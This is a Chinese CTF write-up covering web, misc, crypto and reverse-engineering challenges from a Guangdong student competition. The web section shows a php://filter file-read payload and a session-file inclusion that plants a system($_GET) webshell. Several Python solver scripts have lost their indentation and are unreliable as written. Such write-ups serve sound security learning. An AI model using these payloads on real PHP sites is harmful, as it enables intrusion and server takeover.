广东大学生网络安全攻防大赛CTF部分WP

admin 2022年6月30日01:33:54广东大学生网络安全攻防大赛CTF部分WP已关闭评论102 views字数 3662阅读12分12秒阅读模式

三人行,除我皆是大佬,第一次参加这个比赛,个人感觉难度还算是适中,简单分享一下对这些题目的个人见解,这次只做出了5题(I'm So Vegetables),还有一题另外一个师傅在比赛结束后才做出来

WEB

easy_ctf

这题刚开始以为把给出的字符数量进行排序就行了,发现排序完成提交后,没有任何回显,这里就突然想到了会不会是有时间要求,写了脚本提交上去后,回显了flag,简单写了一个脚本,看看就好了

```python
import requests,re
s = requests.Session()
url = 'http://120.79.xxx.xxx:42727/'
re_rules = r'

([\s\S]*)

'
response = s.get(url)
strs = re.findall(re_rules,response.text)
strs = strs[-1].replace('\r\n','')
resoult = {}
for i in strs:
    resoult[i] = strs.count(i)

print(resoult)

sorted_dict = sorted(resoult.items(), key=lambda kv: kv[1])
flag = []
for i in sorted_dict:
    flag.append(i[0])
s1 = ''.join(flag)
data = {
    'ans':s1
}
response1 = s.post(url,data=data)
print(response1.text)
```

广东大学生网络安全攻防大赛CTF部分WP

in

这道题刚开始以为是很简单的文件包含,后面发现确实很简单,没有任何字符过滤,主要是考察session文件包含,通过写入木马,访问session文件,从而达到getshell的效果

广东大学生网络安全攻防大赛CTF部分WP

在这里输入内容后,会跳转到另外一个页面,这时候的url变成了 action.php?file=xxx,通过这个url确定是文件包含,接下来使用php伪协议读取一下首页php文件和action.php

广东大学生网络安全攻防大赛CTF部分WP

输入url

php
php://filter/read/convert.base64-encode/resource=./action.php

得到了

广东大学生网络安全攻防大赛CTF部分WP

将其解码出来后

php
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

到这里基本就可以确定是session文件包含,既然session内容可控,那就可以直接传入恶意代码,比如构造一个phpinfo(),也就是在please input your name下面的框写入一个\<?php phpinfo();?>传进去,然后通过访问session的默认路径+sess_PHPSESSID就可以被执行了

session文件默认路径:

bash
/tmp/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/tmp/sess_PHPSESSID

同时查看我们的PHPSESSID,通过F12的"网络-cookie-PHPSESSID"那里,取得sessid,这里测试出来的session文件的路径是/tmp,所以直接访问?file=/tmp/sess_xxxxxxxxxxxx就可以执行了,执行成功后,会返回phpinfo的信息,这里就直接传入

php
<?php file_put_contents('vfree.php','<?php system($_GET["vfree"]);?>');?>

完成后,直接访问这个文件就可以getshell了,flag文件是/fl444444444g,最后直接cat /fl444444444g就可以得到flag了

misc

签到

关注公众号发送"我来签到了"就有了

flag{shifujiayou}

复合

下载文件下来,发现是数据包格式,我们使用wireshark打开,经过分析,数据包里面有很多文件,我们使用wireshark导出里面的所有文件

广东大学生网络安全攻防大赛CTF部分WP

广东大学生网络安全攻防大赛CTF部分WP

导出的文件很多,我们查看一些关键的进行查看,先识别其正确的格式。

广东大学生网络安全攻防大赛CTF部分WP

广东大学生网络安全攻防大赛CTF部分WP

广东大学生网络安全攻防大赛CTF部分WP

发现一个flaggggggg.exe文件,我们将其改为zip文件打开,发现里面两个空白文件,分析其他四个文件,将WordDocument使用记事本打开,发现一个key,这个后面有用。

经过分析,发现一个pass.md文件为zip文件,但其缺少zip文件头,我们添加50 4B,然后改为zip打开,打开发现一个文件

广东大学生网络安全攻防大赛CTF部分WP

广东大学生网络安全攻防大赛CTF部分WP

解压后我们使用记事本打开,发现一些有规律的编码,我们使用Quoted-printable解码,解码为utf8编码,解码后发现一段文字

广东大学生网络安全攻防大赛CTF部分WP

分析为维吉尼亚加密,我们在解密网站解密,使用前面获取的key:everything解密,得到FLAG。

广东大学生网络安全攻防大赛CTF部分WP

crypto

crypto-xor2

这题是另外一个师傅做的,直接上脚本去破解key值,已知前四位是flag,所以可以直接枚举出剩下的字符

```python
data = open('cipher').read()
flag = ''
for j in range(97,122):

for i, c in enumerate(data):
    key = f'xxx{chr(j)}'
    flag += chr(ord(c) ^ ord(key[i%4]))
#print(chr(j),flag)
if flag[0:4] == 'flag':
    print(flag)
flag = ''

```

Reverse

pyre

根据题目就大概知道是python打包成exe的,所以直接使用pyinstxtractor工具进行逆向,逆向出来后会得到一个pyc的文件,如果没有pyc文件,就需要通过winhex或者其他的进制工具修改文件头,我用的pyinstxtractor可以直接导出来pyc文件,所以这里不做其他修改文件头的操作,得到pyc文件后,放到反编译网站进行编译,这里推荐 python反编译 - 在线工具 (tool.lu)

反编译出来的结果:

```python
def check():
a = input('plz input your flag:')
c = [
144,
163,
158,
177,
121,
39,
58,
58,
91,
111,
25,
158,
72,
53,
152,
78,
171,
12,
53,
105,
45,
12,
12,
53,
12,
171,
111,
91,
53,
152,
105,
45,
152,
144,
39,
171,
45,
91,
78,
45,
158,
8]
if len(a) != 42:
print('wrong length')
return 0
b = None
for i in range(len(a)):
if ord(a[i]) * 33 % b != c[i]:
print('wrong')
return None

print('win')

check()
```

得到上面的python代码,小观察一下,大致就是要我们输入的字符等于42,并且还要进行循环,如果ord(a[i]) * 33 % b不等于c[i],那就返回wrong,但是这里有一个问题,b等于None,这样子就无法进行计算,所以我们要先推测出b等于多少,已知a的前四个值是flag,所以可以求出b,脚本:

```python
aa = ord('f')
bb = ord('l')
cc = ord('a')
dd = ord('g')
an = 144
bn = 163
cn = 158
dn = 177

ord(a[i]) * 33 % b != c[i]

for b in range(1,1000):
if (aa * 33 % b == an and bb * 33 % b == bn and cc * 33 % b ==cn and dd * 33 % b == dn):
print(b)
```

得出b等于179了,就可以b赋值179,根据程序的if语句后面的式子逆向出来,脚本如下:

```python
def flag():
c = [
144,163,158,177,121,39,58,58,91,111,25,158,72,53,152,78,171,12,53,105,45,12,12,53,12,171,111,91,53,152,105,45,152,144,39,171,45,91,78,45,158,8]
b = 179
for i in range(len(c)):
for x in range(1,130):
if x*33%b == c[i]:
print(chr(x),end='')

flag()
```

最终排名虽然不是很理想,但是第一次参加,保持在前100已经尽力了,加油加油加油!!!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月30日01:33:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   广东大学生网络安全攻防大赛CTF部分WPhttp://cn-sec.com/archives/1148867.html